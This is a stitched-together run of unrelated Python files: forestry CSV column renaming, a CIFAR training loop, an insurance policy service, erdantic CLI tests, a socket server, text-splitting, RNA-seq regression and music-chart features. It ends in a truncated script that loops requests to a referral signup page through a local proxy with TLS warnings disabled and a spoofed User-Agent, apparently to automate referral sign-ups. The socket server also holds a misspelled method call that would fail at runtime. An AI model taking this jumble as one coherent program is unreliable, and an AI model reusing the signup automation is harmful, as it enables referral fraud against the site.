#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
A script to convert the column names from CamelCase to snake_case.

Typically you would run this file from a command line like this:

     ipython3.exe -i -- /deploy/cbmcfs3_runner/scripts/orig/convert_column_case.py
"""

# Built-in modules #
import os

# Third party modules #
import pandas
from tqdm import tqdm

# First party modules #
import autopaths
from autopaths            import Path
from autopaths.auto_paths import AutoPaths
from plumbing.common      import camel_to_snake
from plumbing.cache       import property_cached

# Internal modules #
from cbmcfs3_runner.core.continent import continent

# Constants #
home = os.environ.get('HOME', '~') + '/'

###############################################################################
class CaseConverter(object):
    """
    This class takes many of the CSV files in "export/" and "orig/" and
    converts their title case in their column names.
    """

    all_paths = """
    /orig/coefficients.csv
    /orig/silv_treatments.csv
    /export/ageclass.csv
    /export/inventory.csv
    /export/classifiers.csv
    /export/disturbance_events.csv
    /export/disturbance_types.csv
    /export/transition_rules.csv
    /export/yields.csv
    /export/historical_yields.csv
    /fusion/back_inventory_aws.csv
    """

    def __init__(self, country):
        # Default attributes #
        self.country = country
        # Automatically access paths based on a string of many subpaths #
        self.paths = AutoPaths(self.country.data_dir, self.all_paths)

    def __call__(self):
        for p in self.paths:
            # Some countries don't have that fusion file #
            if not p: continue
            # Read into memory #
            df = pandas.read_csv(str(p))
            # Change #
            df = df.rename(columns = camel_to_snake)
            # Write back to disk #
            df.to_csv(str(p), index=False, float_format='%g')

    def fix_spelling(self):
        """Some words were written wrongly but not in all countries."""
        # Read #
        df = pandas.read_csv(str(self.paths.disturbance_events))
        # Change #
        df = df.rename(columns = {'efficency': 'efficiency',
                                  'sor_type':  'sort_type'})
        # Write #
        df.to_csv(str(self.paths.disturbance_events), index=False, float_format='%g')

###############################################################################
class CaseRenamer(object):
    """
    This class takes our python source files and renames the column variables
    to match the new case. It can also operate on the jupyter notebooks.
    """

    def __init__(self, base_dir, extension):
        # Default attributes #
        self.base_dir = Path(base_dir)
        self.extension = extension

    col_names = {
        'ageclass':     'AgeClassID,Size',
        'classifiers':  'ClassifierNumber,ClassifierValueID',
        'disturbances': 'UsingID,SWStart,SWEnd,HWStart,HWEnd,Min_since_last_Dist,'
                        'Max_since_last_Dist,Last_Dist_ID,Min_tot_biom_C,Max_tot_biom_C,'
                        'Min_merch_soft_biom_C,Max_merch_soft_biom_C,Min_merch_hard_biom_C,'
                        'Max_merch_hard_biom_C,Min_tot_stem_snag_C,Max_tot_stem_snag_C,'
                        'Min_tot_soft_stem_snag_C,Max_tot_soft_stem_snag_C,Min_tot_hard_stem_snag_C,'
                        'Max_tot_hard_stem_snag_C,Min_tot_merch_stem_snag_C,Max_tot_merch_stem_snag_C,'
                        'Min_tot_merch_soft_stem_snag_C,Max_tot_merch_soft_stem_snag_C,'
                        'Min_tot_merch_hard_stem_snag_C,Max_tot_merch_hard_stem_snag_C,Efficency,'
                        'Sort_Type,Measurement_type,Amount,Dist_Type_ID,Step',
        'yields':       'Sp',
        'inventory':    'UsingID,Age,Area,Delay,UNFCCCL,HistDist,LastDist',
        'transitions':  'UsingID,SWStart,SWEnd,HWStart,HWEnd,Dist_Type_ID,RegenDelay,ResetAge,Percent',
        'treatments':   'Dist_Type_ID,Sort_Type,Efficiency,Min_age,Max_age,Min_since_last,'
                        'Max_since_last,HWP,RegenDelay,ResetAge,Percent,WD,OWC_Perc,Snag_Perc,'
                        'Perc_Merch_Biom_rem,Man_Nat',
        'database':     'TimeStep, UserDefdClassID, UserDefdClassSetID, UserDefdSubclassID,'
                        'UserDefdSubClassName, AveAge, Biomass, DistArea,'
                        'BEF_Tot, BG_Biomass, Tot_Merch, Tot_ABG, BG_Biomass,'
                        'Vol_Merch, Vol_SubMerch, Vol_Snags, TC, TC_FW_C,'
                        'Vol_Merch_FW_B, Vol_SubMerch_FW_B, Vol_Snags_FW_B,'
                        'Vol_SubMerch_IRW_B, Vol_Snags_IRW_B,'
                        'TOT_Vol_FW_B, DMStructureID, DMColumn, DMRow, DMID',
        'products':     'SW_Merch, SW_Foliage, SW_Other, HW_Merch, HW_Foliage, HW_Other, SW_Coarse,'
                        'SW_Fine, HW_Coarse, HW_Fine, Merch_C_ha,'
                        'Snag_Perc, OWC_Perc, FW_amount, IRW_amount,'
                        'SoftProduction, HardProduction, DOMProduction,'
                        'CO2Production, MerchLitterInput, OthLitterInput,'
                        'Prov_Carbon, Vol_forest_residues,',
        'extras':       'IRW_C, FW_C, IRW_B, FW_B'
     }

    @property_cached
    def cols_before(self):
        cols_before = ','.join(self.col_names.values()).split(',')
        return list(set(name.strip() for name in cols_before))

    @property_cached
    def cols_after(self):
        return [camel_to_snake(col) for col in self.cols_before]

    @property_cached
    def code_files(self):
        return [f for f in self.base_dir.files if f.extension == self.extension]

    def __call__(self):
        for file in tqdm(self.code_files):
            for old_name, new_name in zip(self.cols_before, self.cols_after):
                # Only if it is found enclosed in quotes #
                file.replace_word("'%s'" % old_name, "'%s'" % new_name)
                # Only if it is with the word 'query' on the same line #
                self.replace_word_if_other_word(file, old_name, 'query', new_name)

    def replace_word_if_other_word(self, path, word1, word2, replacement_word):
        """
        Search the file for a given word, and if found,
        check the line in which it appears for another second word,
        if both the first and second word are found on the same line,
        then replace every occurrence of the first word with
        the replacement word.
        """
        # The original file #
        orig_file = Path(path)
        # Create a new file #
        result_file = autopaths.tmp_path.new_temp_file()
        # Generate the lines #
        def new_lines():
            for line in orig_file:
                if word2 in line: yield line.replace(word1, replacement_word)
                else: yield line
        # Open input/output files, note: output file's permissions lost #
        result_file.writelines(new_lines())
        # Switch the files around #
        orig_file.remove()
        result_file.move_to(orig_file)

###############################################################################
if __name__ == '__main__':
    # First part #
    converters = [CaseConverter(c) for c in continent]
    for converter in tqdm(converters): converter()
    for converter in tqdm(converters): converter.fix_spelling()
    # Second part #
    code_dir = home + "repos/cbmcfs3_runner/cbmcfs3_runner/"
    renamer  = CaseRenamer(code_dir, '.py')
    renamer()
    # Third part #
    code_dir = home + "repos/bioeconomy_notes/notebooks/"
    renamer  = CaseRenamer(code_dir, '.md')
    renamer()


import torch
from torch import nn
import pickle
from model import WideResNet
from autoattack import AutoAttack
from torch.utils.data import Dataset
from torch.utils.data import DataLoader
from torchvision import datasets, transforms, models

class ImageDataset(Dataset):
    def __init__(self, file):
        super().__init__()
        data, label = pickle.load(open(file,'rb'))
        self.data = self.transform(data)
        self.label = label

    def transform(self, data):
        data = torch.Tensor(data).permute(0,3,1,2).contiguous().div(255)
        transform_func = transforms.Compose([
                transforms.RandomCrop(size = data.shape[-1], padding = 2),
                transforms.RandomHorizontalFlip(),
                transforms.Normalize(mean=(0.4914, 0.4822, 0.4465),
                                     std=(0.247, 0.243, 0.261))]
            )
        augmented_data = transform_func(data)
        return augmented_data

    def __getitem__(self, idx):
        return self.data[idx], self.label[idx]

    def __len__(self):
        return len(self.label)

device = 2
batch_size = 1024
#model = WideResNet(32,10).to(device)
ds = ImageDataset('./data/cifar_train.pt')

model = models.__dict__['resnet50']().to(device)
model.load_state_dict(torch.load('./save/model.pt'))
transform_func = transforms.Compose([transforms.ToTensor(),
                                     transforms.RandomCrop(size = 32, padding = 2),
                                     transforms.RandomHorizontalFlip(),
                                     transforms.Normalize(mean=(0.4914, 0.4822, 0.4465),
                                                          std=(0.247, 0.243, 0.261))])

#ds = datasets.CIFAR10('data',train=True,transform=transform_func)
dl = DataLoader(ds,batch_size=batch_size,shuffle=True,pin_memory=True)
criterion = nn.CrossEntropyLoss()
optimizer = torch.optim.Adam(model.parameters(), 0.001)

model.eval()
while True:
    for i, (x,y) in enumerate(dl,start=1):
        x = x.to(device)
        y = y.to(device)
        optimizer.zero_grad()
        pred = model(x)
        loss = criterion(pred, y)
        loss.backward()
        optimizer.step()
        print(i, ((pred.argmax(-1)==y).sum()/len(y)).item(), loss.item())
        if i%10==0: torch.save(model.state_dict(),'./save/model.pt')


import datetime
from typing import List

from sqlalchemy.orm import make_transient

from data_access.entities.person import Person
from data_access.entities.policy import Policy
from data_access.entities.policy_offer_template import PolicyOfferTemplate
from data_access.entities.policy_risk import PolicyRisk
from data_access.entities.vehicle import Vehicle
from data_access.repositories.person_repository import PersonRepository
from data_access.repositories.policy_offer_template_repository import PolicyOfferTemplateRepository
from data_access.repositories.policy_repository import PolicyRepository
from data_access.repositories.policy_risk_repository import PolicyRiskRepository
from data_access.repositories.vehicle_repository import VehicleRepository
from services.broker_service import BrokerService
from services.calculation_service import CalculationService
from services.errors import Errors
from services.models.offer_template_creation_model import OfferTemplateCreationModel
from services.models.service_message import ServiceMessage
from services.models.offer_creation_model import OfferCreationModel

class PolicyService:
    __person_repository: PersonRepository
    __policy_repository: PolicyRepository
    __policy_offer_template_repository: PolicyOfferTemplateRepository
    __policy_risk_repository: PolicyRiskRepository
    __vehicle_repository: VehicleRepository

    __broker_service: BrokerService
    __calculation_service: CalculationService

    def __init__(
            self,
            policy_repository: PolicyRepository,
            broker_service: BrokerService,
            policy_offer_template_repository: PolicyOfferTemplateRepository,
            vehicle_repository: VehicleRepository,
            calculation_service: CalculationService,
            policy_risk_repository: PolicyRiskRepository,
            person_repository: PersonRepository
    ):
        self.__policy_repository = policy_repository
        self.__broker_service = broker_service
        self.__policy_offer_template_repository = policy_offer_template_repository
        self.__vehicle_repository = vehicle_repository
        self.__calculation_service = calculation_service
        self.__policy_risk_repository = policy_risk_repository
        self.__person_repository = person_repository

    def get_by_broker(self, api_key: str, is_offer: bool = False) -> [Policy]:
        broker = self.__broker_service.get_by_api_key(api_key)
        if broker is None:
            return []

        return self.__policy_repository.get_by_broker(broker.Id, is_offer)

    def get_by_id(self, policy_id: int) -> [Policy]:
        return self.__policy_repository.get_by_id(policy_id)

    def get_by_vehicle(self, vehicle_id: int):
        return self.__policy_repository.get_by_vehicle(vehicle_id)

    def get_by_person(self, person_id: int):
        return self.__policy_repository.get_by_person(person_id)

    def get_by_insurer(self, insurer_id: int, is_summary: bool):
        return self.__policy_repository.get_premium_sum_by_insurer(insurer_id)\
            if is_summary\
            else self.__policy_repository.get_by_insurer(insurer_id)

    def create_offer_template(self, offer_template_model: OfferTemplateCreationModel) -> int:
        policy_offer_template = PolicyOfferTemplate()
        policy_offer_template.Id = self.__policy_offer_template_repository.create_id()
        policy_offer_template.Name = offer_template_model.name
        policy_offer_template.InsurerId = offer_template_model.insurerId
        policy_offer_template.QuotationAlgorithm = offer_template_model.quotationAlgorithm
        policy_offer_template.ValidFrom = offer_template_model.validFrom
        policy_offer_template.ValidTo = offer_template_model.validTo

        self.__policy_offer_template_repository.session().add(policy_offer_template)
        self.__policy_offer_template_repository.session().commit()

        return policy_offer_template.Id

    def create_offer_from_template(self, template_id: int, offer_model: OfferCreationModel, broker_id: int) -> ServiceMessage:
        service_message = ServiceMessage()

        template = self.__policy_offer_template_repository.get_by_id(template_id)
        if template is None:
            service_message.errors.append(Errors.NO_POLICY_OFFER_TEMPLATE)
            return service_message

        vehicle = self.__vehicle_repository.get_by_vin(offer_model.vehicle.vin)
        if vehicle is None:
            vehicle = Vehicle()
            vehicle.Id = self.__vehicle_repository.create_id()
            vehicle.Make = offer_model.vehicle.make
            vehicle.Model = offer_model.vehicle.model
            vehicle.RegistrationNumber = offer_model.vehicle.registrationNumber
            vehicle.Vin = offer_model.vehicle.vin
            vehicle.ProductionYear = offer_model.vehicle.productionYear
            vehicle.RegistrationDate = offer_model.vehicle.registrationDate
            vehicle.OwnerCount = offer_model.vehicle.ownerCount
            self.__vehicle_repository.session().add(vehicle)
            self.__vehicle_repository.session().commit()

        person = self.__person_repository.get_by_pesel(offer_model.person.pesel)
        if person is None:
            person = Person()
            person.Id = self.__person_repository.create_id()
            person.Name = offer_model.person.name
            person.LastName = offer_model.person.lastName
            person.BirthDate = offer_model.person.birthDate
            person.Pesel = offer_model.person.pesel
            person.Email = offer_model.person.email
            person.PhoneNumber = offer_model.person.phoneNumber
            self.__person_repository.session().add(person)
            self.__person_repository.session().commit()

        offer = Policy()
        offer.Id = self.__policy_repository.create_id()
        offer.VehicleId = vehicle.Id
        offer.InsurerId = template.InsurerId
        offer.BrokerId = broker_id
        offer.PersonId = person.Id
        offer.CreationDate = datetime.date.today()
        offer.IsOffer = True
        offer.Version = 1
        self.__policy_repository.session().add(offer)
        self.__policy_repository.session().commit()

        risks = self.calculate_risks(vehicle, template)

        for index, risk in enumerate(risks):
            risks[index].PolicyId = offer.Id
            risks[index].Id = self.__policy_risk_repository.create_id()
            self.__policy_risk_repository.session().add(risks[index])

        self.__policy_risk_repository.session().commit()

        service_message.content = offer.Id
        return service_message

    def issue_policy(self, offer_id: int) -> ServiceMessage:
        service_message = ServiceMessage()

        offer = self.__policy_repository.get_by_id(offer_id)
        if not offer.IsOffer:
            service_message.errors.append(Errors.NO_OFFER_WITH_ID)
        else:
            risks = offer.PolicyRisks
            make_transient(offer)
            policy = offer
            policy.OfferId = offer.Id
            policy.Id = self.__policy_repository.create_id()
            policy.IsOffer = False
            self.__policy_repository.session().add(policy)
            self.__policy_repository.session().commit()

            for index, risk in enumerate(risks):
                new_risk = PolicyRisk()
                new_risk.Id = self.__policy_risk_repository.create_id()
                new_risk.PolicyId = policy.Id
                new_risk.CurrencyId = risk.CurrencyId
                new_risk.RiskId = risk.RiskId
                new_risk.CreationDate = datetime.date.today()
                new_risk.StartDate = risk.StartDate
                new_risk.EndDate = risk.EndDate
                new_risk.Premium = risk.Premium
                self.__policy_risk_repository.session().add(new_risk)

            self.__policy_risk_repository.session().commit()
            service_message.content = offer.Id

        return service_message

    def calculate_risks(self, vehicle: Vehicle, policy_offer_template: PolicyOfferTemplate) -> list[PolicyRisk]:
        return self.__calculation_service.calculate(vehicle, policy_offer_template)


import filecmp
import subprocess

import pytest
from typer.testing import CliRunner

import erdantic as erd
from erdantic.cli import app, import_object_from_name
import erdantic.examples.dataclasses as examples_dataclasses
import erdantic.examples.pydantic as examples_pydantic
from erdantic.examples.pydantic import Party, Quest
from erdantic.exceptions import ModelOrModuleNotFoundError
from erdantic.version import __version__

runner = CliRunner()

def test_import_object_from_name():
    assert import_object_from_name("erdantic.examples.pydantic.Party") is Party
    assert import_object_from_name("erdantic.examples.pydantic.Quest") is Quest
    assert import_object_from_name("erdantic") is erd
    assert import_object_from_name("erdantic.examples.pydantic") is examples_pydantic
    with pytest.raises(ModelOrModuleNotFoundError):
        import_object_from_name("erdantic.not_a_module")
    with pytest.raises(ModelOrModuleNotFoundError):
        import_object_from_name("erdantic.examples.pydantic.not_a_model_class")

def test_draw(tmp_path):
    # With library for comparison
    path_base = tmp_path / "diagram_base.png"
    erd.draw(Party, out=path_base)
    assert path_base.exists()

    # With CLI
    path1 = tmp_path / "diagram1.png"
    result = runner.invoke(app, ["erdantic.examples.pydantic.Party", "-o", str(path1)])
    assert result.exit_code == 0
    assert path1.exists()
    assert filecmp.cmp(path1, path_base)

    # python -m erdantic
    path2 = tmp_path / "diagram2.png"
    result = subprocess.run(
        ["python", "-m", "erdantic", "erdantic.examples.pydantic.Party", "-o", str(path2)],
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        universal_newlines=True,
    )
    assert result.returncode == 0
    assert path2.exists()
    assert filecmp.cmp(path2, path_base)

def test_with_terminus(tmp_path):
    # With library for comparison
    path_base = tmp_path / "diagram_base.png"
    erd.draw(Party, out=path_base, termini=[Quest])
    assert path_base.exists()

    # With CLI
    path1 = tmp_path / "diagram1.png"
    result = runner.invoke(
        app,
        [
            "erdantic.examples.pydantic.Party",
            "-t",
            "erdantic.examples.pydantic.Quest",
            "-o",
            str(path1),
        ],
    )
    assert result.exit_code == 0
    assert path1.exists()
    assert filecmp.cmp(path1, path_base)

def test_with_modules(tmp_path):
    # With library for comparison
    path_base = tmp_path / "diagram_base.png"
    erd.draw(Quest, examples_dataclasses, out=path_base)
    assert path_base.exists()

    # With CLI
    path1 = tmp_path / "diagram1.png"
    result = runner.invoke(
        app,
        [
            "erdantic.examples.pydantic.Quest",
            "erdantic.examples.dataclasses",
            "-o",
            str(path1),
        ],
    )
    assert result.exit_code == 0
    assert path1.exists()
    assert filecmp.cmp(path1, path_base)

    # With library for comparison, all pydantic classes
    path_base_all_pydantic = tmp_path / "diagram_base_all_pydantic.png"
    erd.draw(Quest, examples_dataclasses, examples_pydantic, out=path_base_all_pydantic)
    assert path_base_all_pydantic.exists()

    # With CLI without limit_search_models_to
    path2 = tmp_path / "diagram2.png"
    result = runner.invoke(
        app,
        [
            "erdantic.examples.pydantic.Quest",
            "erdantic.examples.dataclasses",
            "erdantic.examples.pydantic",
            "-o",
            str(path2),
        ],
    )
    assert result.exit_code == 0
    assert path2.exists()
    assert filecmp.cmp(path2, path_base_all_pydantic)

    # With CLI with limit_search_models_to
    path3 = tmp_path / "diagram3.png"
    result = runner.invoke(
        app,
        [
            "erdantic.examples.pydantic.Quest",
            "erdantic.examples.dataclasses",
            "erdantic.examples.pydantic",
            "-o",
            str(path3),
            "-m",
            "dataclasses",
        ],
    )
    assert result.exit_code == 0
    assert path3.exists()
    assert filecmp.cmp(path3, path_base)

def test_missing_out():
    result = runner.invoke(app, ["erdantic.examples.pydantic.Party"])
    assert result.exit_code == 2
    assert "Error" in result.stdout
    assert "Missing option '--out' / '-o'." in result.stdout

def test_no_overwrite(tmp_path):
    path = tmp_path / "diagram.png"
    path.touch()

    # With no-overwrite
    result = runner.invoke(
        app, ["erdantic.examples.pydantic.Quest", "-o", str(path), "--no-overwrite"]
    )
    assert result.exit_code == 1
    assert path.stat().st_size == 0

    # Overwrite
    result = runner.invoke(app, ["erdantic.examples.pydantic.Quest", "-o", str(path)])
    assert result.exit_code == 0
    assert path.stat().st_size > 0

def test_dot(tmp_path):
    result = runner.invoke(app, ["erdantic.examples.pydantic.Party", "-d"])
    assert result.exit_code == 0
    assert erd.to_dot(Party).strip() == result.stdout.strip()

    path = tmp_path / "diagram.png"
    result = runner.invoke(app, ["erdantic.examples.pydantic.Party", "-d", "-o", str(path)])
    assert result.exit_code == 0
    assert not path.exists()  # -o is ignored and no file created
    assert erd.to_dot(Party).strip() == result.stdout.strip()

    # python -m erdantic
    result = subprocess.run(
        ["python", "-m", "erdantic", "erdantic.examples.pydantic.Party", "-d"],
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        universal_newlines=True,
    )
    assert result.returncode == 0
    assert not path.exists()  # -o is ignored and no file created
    assert erd.to_dot(Party).strip() == result.stdout.strip()

def test_help():
    """Test the CLI with --help flag."""
    result = runner.invoke(app, ["--help"])
    assert result.exit_code == 0
    assert (
        "Draw entity relationship diagrams (ERDs) for Python data model classes." in result.output
    )

def test_version():
    """Test the CLI with --version flag."""
    result = runner.invoke(app, ["--version"])
    assert result.exit_code == 0
    assert result.output.strip() == __version__


import socket
import threading
from collections import deque
from concurrent.futures import ThreadPoolExecutor
from jsock.protocol import Protocol
from jsock.message import MessageHeader, Message
from jsock.errors import Errors
from jsock.client import Client
from jsock.config import Config

PORT = 1337
LISTEN_NUM = 50
AWAIT_LIMIT_NUM = 1000

# JacobSocks
#
# Features:
# Multithreading
# Simple
# Customisable
# Auto documentation your API
# Error handling
# Get message by callbacks and by (self made) await (await per socket)
# Expandable

# How to use:
# Show code

class InvalidProtocol(Exception):
    pass

# TODO: make a lib for socket server in python

# TODO: Threw a exception
# TODO: make the config
# TODO: Make the chat server
# TODO: Upload to git and readme
# TODO: Finish the server
# TODO: + add on await failed (disconnected)
# TODO: + delete unuse messages
# TODO: do on code and on code socket function callbakcs (no necessary)
# TODO: + improve message read (first read code and len)
# TODO: make the chat_example docs automatic
# TODO: DEBUG

# TODO: config the server how I like (return format error, auto correct and so on, encryption or not)
# (make the class first)
# TODO: make tls

class ThreadedServer(object):
    def __init__(self, config: Config, protocol: Protocol):
        self._config = config
        self._protocol = protocol
        self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self._sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self._sock.bind((self._config.host, self._config.port))

        self._input_lock = threading.Lock()
        self._input_cv = threading.Condition(self._input_lock)
        self._input_queue = deque()
        self._input_callback = dict()

        self._input_awaits = dict()
        self._await_lock = threading.Lock()
        self._await_cv = threading.Condition(self._await_lock)

        self._on_disconnect_dict = dict()
        self._on_connect = None

        self._await_socks = dict()
        # self.output_lock = threading.Lock()
        # self.output_cv = threading.Condition(self.output_lock)
        # self.output_queue = deque()

        self._output_executor = ThreadPoolExecutor()
        self._callbacks_executor = ThreadPoolExecutor()

    def start(self):
        threading.Thread(target=self._await_start).start()

    def _await_start(self):
        self._sock.listen(LISTEN_NUM)
        threading.Thread(target=self._get_message_listener).start()
        while True:
            client = Client(*self._sock.accept())
            # TODO: need "client.settimeout(120)" ?
            if self._on_connect is not None:
                self._callbacks_executor.submit(lambda: self._on_connect(client))
            threading.Thread(target=self._on_listen_to_client, args=(client,)).start()

    @staticmethod
    def _send(sock, message):
        sock.send(message.to_bytes())

    def set_on_disconnect(self, sock, func):
        if func is None:
            del self._on_disconnect_dict[sock]
        else:
            self._on_disconnect_dict[sock] = func

    def set_on_connector(self, func):
        self._on_connect = func

    def set_on_message(self, client, code, func):
        if func is None:
            del self._input_callback[(client, code)]
        else:
            print(func)
            self._input_callback[(client, code)] = func

    def send_message(self, client, message):
        func = lambda: self._send(client.sock, message)
        self._output_executor.submit(func)

    # TODO: remove size limit and add dict of requests and not save every message
    # TODO: timeout
    def await_for_response(self, client, code, timeout=None, config=None):
        with self._await_cv:
            self._input_awaits[(client, code)] = None
            if client not in self._await_socks:
                self._await_socks[client] = []
            self._await_socks[client].apppend(code)

            while self._input_awaits[(client, code)] is None:
                self._await_cv.wait()

            return_value = self._input_awaits[(client, code)]
            del self._input_awaits[(client, code)]

            self._await_socks[client].remove(code)

            if len(self._await_socks[client]) == 0:
                del self._await_socks[client]

            return return_value

    # sorter
    def _get_message_listener(self):
        while True:
            with self._input_cv:
                while len(self._input_queue) == 0:
                    self._input_cv.wait()
                while len(self._input_queue) != 0:
                    client, message = self._input_queue.pop()
                    # print(f"{client.sock} send: {message}")
                    # check if someone need the message of there is a callback
                    func = self._input_callback.get((client, message.code))
                    have_callback_code = func is not None
                    if have_callback_code:
                        self._callbacks_executor.submit(lambda: func(client, message))
                    else:
                        with self._await_cv:
                            if (client, message.code) in self._input_awaits:
                                self._input_awaits[(client, message.code)] = message
                                self._await_cv.notify_all()

    def _add_to_queue(self, client, message):
        with self._input_cv:
            self._input_queue.append((client, message))
            self._input_cv.notify_all()

    # TODO: don't listen to non use code
    def _on_listen_to_client(self, client):
        while True:
            try:
                header_data = client.sock.recv(MessageHeader.get_size())

                header = MessageHeader.format(header_data, self._config.code_enum_type)
                if header.code == Errors.LOCAL_FORMAT_ERROR:
                    raise InvalidProtocol('Client disconnected')

                data = client.sock.recv(header.get_size())
                class_type = self._protocol.get_class(header)
                if class_type is not None:
                    message = Message.format(header, class_type.from_json(data.decode()))
                    self._add_to_queue(client, message)

            except InvalidProtocol as e:  # TODO: to not kick
                print(e)
                client.sock.close()
                func = self._on_disconnect_dict.get(client)
                if func is not None:
                    self._callbacks_executor.submit(lambda: func(client))
                return False
            except OSError as e:
                print(e)
                client.sock.close()
                func = self._on_disconnect_dict.get(client)
                if func is not None:
                    self._callbacks_executor.submit(lambda: func(client))
                return False

    def _on_disconnect(self, client):
        with self._await_cv:
            if client in self._await_socks:
                for code in self._await_socks[client]:
                    self._input_awaits[(client, code)] = Message.error()
                del self._await_socks[client]
                self._await_cv.notify_all()

        client.sock.close()
        func = self._on_disconnect_dict.get(client)
        if func is not None:
            self._callbacks_executor.submit(lambda: func(client))


import asyncio
import os
import oneai
from oneai import Input, Output

oneai.api_key = os.getenv("ONEAI_KEY")

async def split(filepath):
    pipeline = oneai.Pipeline(
        steps=[
            oneai.skills.SplitByTopic(),
        ]
    )

    with open(filepath, 'r') as file_input:
        output = await pipeline.run_batch_async([file_input], on_output=handle_success, on_error=handle_error)
        print(f'OUTPUT = {output}')

def handle_success(input, output_map: [Input, Output]) -> None:
    print(f'success: spans = ')
    for span in output_map.segments.output_spans:
        print(span)

def handle_error(input, output_map: [Input, Exception]) -> None:
    print(f'failure: {output_map}')

asyncio.run(split('file_store/Auburn.txt'))
# asyncio.run(split('file_store/1_min_sample.mp3.txt'))


from sklearn import preprocessing
from pandas import read_csv
from sklearn.model_selection import train_test_split
from keras.layers import Dense
from keras.models import Sequential
from keras.optimizers import Adam
from sklearn.metrics import r2_score
from matplotlib import pyplot as plt

df = read_csv("C:\Code\RNASeqAnalysis\Data\CentData.csv", header = 0)

survival = df.Survival
genelist = df.drop(["UUID", "Survival"], axis = 1)
scaler = preprocessing.StandardScaler().fit(genelist)

X_train, X_val, Y_train, Y_val = train_test_split(genelist, survival, test_size = .2)

X_tprep = scaler.transform(X_train)
X_vprep = scaler.transform(X_val)
#print(X_vprep, X_vprep, Y_train, Y_val)

model = Sequential()
model.add(Dense(750, input_shape = (60488,), activation ='relu'))
model.add(Dense(750, activation = 'relu'))
model.add(Dense(750, activation = 'relu'))
model.add(Dense(750, activation = 'relu'))
model.add(Dense(750, activation = 'relu'))
model.add(Dense(750, activation = 'relu'))
model.add(Dense(750, activation = 'relu'))
model.add(Dense(750, activation = 'relu'))
model.add(Dense(750, activation = 'relu'))
model.add(Dense(750, activation = 'relu'))
model.add(Dense(1,))

model.compile(Adam(lr = .00000075), 'mean_squared_error')
history = model.fit(X_tprep,Y_train, epochs = 6500, validation_split = .25, verbose = 0)

print("Model compiled and trained")

Yval_pred = model.predict(X_vprep)
rscore = r2_score(Y_val,Yval_pred)
Yval_pred2 = model.predict(X_tprep)
rscore1 = r2_score(Y_train, Yval_pred2)
print("R2 score (Validation Data): " + str(rscore))
print("R2 score (Training Data): " + str(rscore1))

model.save(R'C:\Users\tjmcg\source\repos\RNAseqFinal\RNAseqFinal\weights.h5')

history_dict = history.history
plt.figure()
plt.yscale("log")
plt.plot(history_dict['loss'], 'bo', label = 'training loss')
plt.plot(history_dict['val_loss'], 'r', label = 'val training loss')
plt.show()


from functools import cache
from . import get_track_data, get_countries_charts
import pandas as pd

@cache
def get_basic_track_features():
    tracks = get_track_data()
    isrc_cols = tracks.columns[tracks.columns.str.contains("isrc")].tolist()
    album_cols = tracks.columns[tracks.columns.str.contains("album")].tolist()
    artist_cols = tracks.columns[tracks.columns.str.contains("artist")].tolist()
    other_irrelevant_cols = ["name", "preview_url", "genres"]
    irrelevant_cols = isrc_cols + album_cols + artist_cols + other_irrelevant_cols

    track_feats = tracks.drop(columns=irrelevant_cols)
    track_feats["single_release"] = tracks.album_type == "single"
    track_feats = track_feats.dropna()
    return track_feats

countries_charts = get_countries_charts()
track_feats = get_basic_track_features()

@cache
def get_track_feature_region_dataset():
    """
    Returns a dataframe with the track features for each track that only charted in one region. Oceania is removed because of low number of observations.
    """
    charting_tracks_by_region = countries_charts.drop_duplicates(
        subset=["id", "geo_region"]
    )[["id", "geo_region"]].rename(columns={"geo_region": "region"})
    tracks_charting_only_in_one_region = charting_tracks_by_region[
        ~charting_tracks_by_region.duplicated(keep=False, subset=["id"])
    ].reset_index(drop=True)
    region_tracks_features = pd.merge(
        track_feats, tracks_charting_only_in_one_region, on="id"
    ).set_index("id")
    region_track_feats_dataset = region_tracks_features.copy().loc[
        region_tracks_features.region != "Oceania"
    ]
    region_track_feats_dataset.region = (
        region_track_feats_dataset.region.cat.remove_unused_categories()
    )
    return region_track_feats_dataset

@cache
def get_track_feature_subregion_dataset():
    """
    Returns a dataframe with the track features for each track that only charted in one out of four hand-picked subregion
     (Western Europe, Northern America, Eastern Asia, or Latin America and the Caribbean).
    """
    charting_tracks_by_subregion = countries_charts.drop_duplicates(
        subset=["id", "geo_subregion"]
    )[["id", "geo_region", "geo_subregion"]].rename(
        columns={"geo_region": "region", "geo_subregion": "subregion"}
    )
    tracks_charting_only_in_one_subregion = charting_tracks_by_subregion[
        ~charting_tracks_by_subregion.duplicated(keep=False, subset="id")
    ].reset_index(drop=True)
    subregion_tracks_features = pd.merge(
        track_feats, tracks_charting_only_in_one_subregion, on="id"
    ).set_index("id")
    subregion_selection = subregion_tracks_features.copy().loc[
        subregion_tracks_features.subregion.isin(
            [
                "Northern America",
                "Latin America and the Caribbean",
                "Western Europe",
                "Eastern Asia",
            ]
        )
    ]
    subregion_selection.subregion = (
        subregion_selection.subregion.cat.remove_unused_categories()
    )
    subregion_selection.region = (
        subregion_selection.region.cat.remove_unused_categories()
    )
    return subregion_selection

if __name__ == "__main__":
    print(get_track_feature_region_dataset())


"""Test model file for users."""
from app.api.v1.models.user_models import UserModel, database

from .import BaseClass

class TestUserModel(BaseClass):
    """docstring for TestUserModel."""

    def test_can_save_user(self):
        """Test if we can save a user."""
        user = self.user1.save()
        self.assertEqual(1, len(database.users))
        self.assertTrue(isinstance(user, dict))

    def test_can_delete_user(self):
        """Test suucessful deletion of user."""
        self.user1.save()
        self.assertEqual(1, len(database.users))
        user = UserModel.get_all_user(id=1)
        user.delete()
        self.assertEqual(0, len(database.users))

    def test_get_a_none_registered_user(self):
        """Test cannot get a non registerd user."""
        user = UserModel.get(id)
        self.assertEqual('User does not exist', user['message'])

    def test_get_user(self):
        """Test successfully get a user."""
        self.user1.save()
        user = UserModel.get(id=1)
        self.assertIsInstance(user, UserModel)


import random
import requests
import codecs
import json
import re
import queue
import time
from threading import Thread

requests.packages.urllib3.disable_warnings()

proxy = '127.0.0.1:8888'
def sec():
	while True:
		headers = {
			'Referer': 'https://www.achievemint.com/signup?referral=1&utm_campaign=YOaBLXQNLBg%3D%0A',
			'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2767.4 Safari/537.36',
